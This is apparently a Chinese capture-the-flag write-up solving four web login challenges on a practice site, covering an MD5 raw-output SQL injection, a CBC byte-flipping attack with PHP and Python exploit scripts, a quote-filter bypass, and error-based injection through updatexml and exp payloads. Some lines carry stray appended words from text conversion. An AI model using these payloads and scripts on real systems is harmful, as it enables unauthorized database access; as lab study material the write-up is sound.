2019-04-28php
題目1. 後臺登陸 分值:10 解題參考:https://blog.csdn.net/March97/article/details/81222922 html
解題連接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.phpmysql
打開是一個登陸頁面git
查看網頁源碼,發現提示github
1 <!-- $password=$_POST['password']; 2 $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; 3 $result=mysqli_query($link,$sql); 4 if(mysqli_num_rows($result)>0){ 5 echo 'flag is :'.$flag; 6 } 7 else{ 8 echo '密碼錯誤!'; 9 } -->
md5($password,true)處存在sql注入點,該函數的做用以下web
若是某個字符串通過md5('XXX',true)加密以後的結果包含 ‘’or'+數字,便可構造出一個sql注入語句。在題目連接中包含的字符串即爲登陸密碼字符串 「ffifdyop」sql
該字符串不惟一,只要通過md5('XXX',true)加密以後的結果包含 ‘’or'+數字 就能夠提交成功,拿到flag。數據庫
題目2. 簡單的登陸題 分值:50服務器
解題參考:cookie
https://blog.csdn.net/LeeHDsniper/article/details/81089480#
https://blog.csdn.net/include_heqile/article/details/79942993
https://hebin.me/2018/01/26/西普ctf-簡單的登陸題/
https://www.freebuf.com/articles/system/163756.html
https://r00tnb.github.io/2018/02/09/%E5%AE%9E%E9%AA%8C%E5%90%A7-%E7%AE%80%E5%8D%95%E7%9A%84%E7%99%BB%E5%BD%95%E9%A2%98/
CBC字節翻轉攻擊:
https://blog.csdn.net/xiaorouji/article/details/82777482
https://blog.csdn.net/csu_vc/article/details/79619309
https://www.freebuf.com/articles/system/163756.html
http://shaobaobaoer.cn/archives/582/cbc%E5%AD%97%E7%AC%A6%E7%BF%BB%E8%BD%AC-%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E6%88%98
解密過程以下圖:
正常流程 B ^ C = A
根據異或運算的性質 C = A ^ B ; C ^ C = A ^ B ^ C = 0
漏洞利用 (B ^ X ^ A) ^ C = X (X爲指定的任意任意字符);
將B的值與(X ^ A)異或後再參與運算就能夠控制生成的明文爲咱們指定的字符X
經過閱讀源碼得知,輸入框過濾了#的,先嚐試用字節翻轉攻擊使用#註釋掉limit $id,0
中的,0
。
發送以下數據包:
設置id=11(兩位數,後面須要把個位換成#,用於截斷sql語句)。服務器返回了iv和cipher,而後本身計算一下序列化以後的結果
結果爲:a:1:{s:2:"id";s:2:"11";}
16個byte爲一組,進行分組:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"11";}
先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密後結果爲2:"1#";}
,這樣就可以使用#
註釋掉,0
了。
<?php $id="11"; $info= array('id'=>$id); echo serialize($info); echo "\n\n"; $cipher="%2BC4Qj7hli7Y0m1gTxynIvgW04jPnVGGLwKr%2FetoBhAg%3D"; $cipher=urldecode($cipher); $cipher=base64_decode($cipher); echo $cipher; echo "\n\n"; $cipher[4]=chr(ord($cipher[4])^ord('1')^ord('#')); $cipher=base64_encode($cipher); $cipher=urlencode($cipher); echo "$cipher\n"; ?>
獲得的cipher值爲 %2BC4Qj6pli7Y0m1gTxynIvgW04jPnVGGLwKr%2FetoBhAg%3D
使用這個cipher的值,iv不變,post數據包:(在攔截到的頁面刷新數據包中修改)
服務器返回的結果:沒法正常反序列化。由於咱們爲了修改明文塊2而修改了密文塊1,密文塊1被修改後再利用原始的IV解密後的獲得的明文塊1是亂碼,沒法進行反序列化。
因爲密文塊1被修改,致使上一步獲得的密文cipher使用key解密後未執行異或運算前的值也受到影響,咱們其設爲A,一樣,對於解密出的亂碼明文咱們設爲B,該過程以下圖
上圖的過程爲 A ^ old_IV = B
根據與或運算的性質 A ^ old_IV ^ B = 0
A ^ old_IV ^ B ^ C = C
只須要設置新的new_IV = old_IV ^ B ^ C ,通過運算以後 A ^ new_IV = C
咱們須要讓解密出的明文是正常可讀的也就是BLOCK#1:a:1:{s:2:"id";s: ,設該正常明文爲C
咱們只須要修改IV,令其爲上面式子中計算出的new_IV 就能操縱第一個被修改後的密文塊解密出正常的明文。
經過上面的返回包,咱們知道了亂碼明文的base64值,以及本來正常的明文值,依據上面的公式計算便可:
<?php $iv = "HHlASI4ryCrrI%2BmMbTeZCg%3D%3D"; $iv = urldecode($iv); $iv = base64_decode($iv); $block_wrong="KoiB/4AS1KFkT76b+vUryjI6IjEjIjt9"; $block_wrong=base64_decode($block_wrong); $block_right="a:1:{s:2:\"id\";s:"; for ($i=0;$i<16;$i++) { $iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i])); } $iv=base64_encode($iv); $iv=urlencode($iv); echo "$iv\n"; ?>
輸出結果爲:V8vwjXVKJrm1Tj5ztfnB%2Bg%3D%3D
使用這個iv替換數據包中的iv,再次重放:
注入成功。
最後利用上面找到的注入點和原理編寫腳本就能夠拿到flag了
下面是參考腳本:http://www.javashuo.com/article/p-usdliwxd-cv.html
import requests import re from base64 import * from urllib import quote,unquote url="http://ctf5.shiyanbar.com/web/jiandan/index.php" def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace): payload = {"id":payload} r=requests.post(url,data=payload) iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0] cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0] cipher=unquote(cipher) cipher=b64decode(cipher) cipher_list=list(cipher) cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace)) cipher_new=''.join(cipher_list) cipher_new=b64encode(cipher_new) cipher_new=quote(cipher_new) cookie = {'iv':iv,'cipher':cipher_new} r=requests.post(url,cookies=cookie) content = r.content plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0] plain=b64decode(plain_base64) first_block_plain="a:1:{s:2:\"id\";s:" iv=unquote(iv) iv=b64decode(iv) iv_list=list(iv) for i in range(16): iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i])) iv_new=''.join(iv_list) iv_new=b64encode(iv_new) iv_new=quote(iv_new) cookie = {'iv':iv_new,'cipher':cipher_new} r=requests.post(url,cookies=cookie) return r.content def get_columns_count(): table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] for i in range(len(table_name)): payload="(select 1)a" if i==0: payload = "0 2nion select * from("+payload+");"+chr(0); content=find_flag(payload,6,'2','u') resp=re.findall(".*(Hello!)(\d).*",content) if resp: print "table has 1 column and response position is 1" return payload else: print "table does not have %d columns" % (i+1) continue for t in range(i): payload=payload+" join (select %d)%s" % (t+2,table_name[t+1]) payload = "0 2nion select * from("+payload+");"+chr(0); content=find_flag(payload,6,'2','u') resp=re.findall(".*(Hello!)(\d).*",content) if resp: print "table has %d column and response position is %s" % (i+1,resp[0][1]) return payload else: print "table does not have %d columns" % (i+1) payload=get_columns_count() print payload print find_flag('12',4,'2','#') print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u') print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u') print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u') print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u') print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u') --------------------- 做者:LeeHDsniper 來源:CSDN 原文:https://blog.csdn.net/LeeHDsniper/article/details/81089480 版權聲明:本文爲博主原創文章,轉載請附上博文連接!
獲得flag爲:
題目3. 登錄一下好嗎?? 分值:20
解題連接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
網頁源碼也沒有可利用的地方
只能從登陸輸入框嘗試進行sql注入,
使用該語句測試:' union select * from a where 1-1+1/1 or 1=1 | 1 join 1/* #%00
發現過濾瞭如下字符
| , – , or , union , # , select ,* ,/
構造的sql注入語句要繞過這些字符。
猜想其後臺的sql語句爲 select * from table where username= ‘username′ and password=′password’
使用的sql語句要使得 username= ‘username′ 和password=′password’這兩個表達式返回的結果爲真
能夠使用 0'='0 ,得到flag
語句並不惟一,只要符合 X'='X 便可(X爲任意字符,能夠爲空)
題目4. 加了料的報錯注入 分值:35
解題參考:https://blog.csdn.net/qq_35078631/article/details/79221618
https://blog.csdn.net/xingyyn78/article/details/79737070
打開題目連接提示使用post方式提交用戶名和密碼,使用burp構造數據包後提交
在返回包中提示了後臺SQL查詢語句 <!-- $sql="select * from users where username='$username' and password='$password'"; -->
根據題目提示的報錯注入,使用burp中intruder模塊嘗試爆破
username的參數updatexml沒有禁掉,可是禁掉了圓括號。
password參數,沒有禁掉圓括號,可是禁掉了等號。
所以經過updatexml在存儲非XPath格式的字符串時的報錯輸出得到所須要的信息。
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱。
第二個參數:XPath_string (Xpath格式的字符串) ,若是不瞭解Xpath語法,能夠在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
經過將用戶名中加入updatexml,並將中間內容註釋掉,就能夠使用updatexml函數。使用select database()函數得到數據庫名。
方法一
獲取數據庫名:
username=1' and updatexml/*&
password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
<br>XPATH syntax error: '~error_based_hpf~'
獲取表名:
username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf') ),0x7e),3)or'1
<br>XPATH syntax error: '~ffll44jj,users~'
獲取列名:
username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj') ),0x7e),3)or'1
<br>XPATH syntax error: '~value~'
獲取字段值:
username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
<br>XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'
方法二 : 利用exp報錯注入
username=1' and exp/*
&password=*/(~(select * from (select value from ffll44jj)x))or'1